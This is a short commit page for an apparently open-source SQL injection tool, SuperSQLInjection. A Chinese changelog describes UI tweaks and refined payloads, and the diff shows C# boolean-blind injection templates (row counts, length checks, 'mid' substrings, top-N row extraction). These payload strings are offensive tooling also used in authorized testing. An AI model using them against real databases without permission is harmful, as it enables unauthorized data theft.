update 20181117

库表列新增全选和反选功能。
优化底部日志显示,增加色彩。
修改配置文件,优化payload语句以及测试语句,提高自动识别准确率,降低误报和漏报。
注意:此版本开始注入标记不在是替换and 1=1,而且替换1=1这个位置的语句,所以在手工标记时,记得保留and或者or。
This commit is contained in:
shack2
2018-11-17 00:46:02 +08:00
parent 1c2371d6be
commit 96b29a6a84
14 changed files with 486 additions and 360 deletions

View File

@@ -10,14 +10,14 @@ namespace SuperSQLInjection.payload
public static String data_count = "(select count(*) from {table})";
//判断条数
public static String bool_datas_count = " and " + data_count + ">={len}";
public static String bool_datas_count = " " + data_count + ">={len}";
public static String substr = "mid(({data}),{index},1)";
//bool方式字符长度判断
public static String bool_length = " and len({data})>{len}";
public static String bool_length = " len({data})>{len}";
public static String bool_value = " and {data}>{len}";
public static String bool_value = " {data}>{len}";
//获取行数据
public static String data_value = "(select top 1 {data} from (select top {index} {allcolumns} from {table} order by {orderby} asc) t order by t.{orderby} desc)";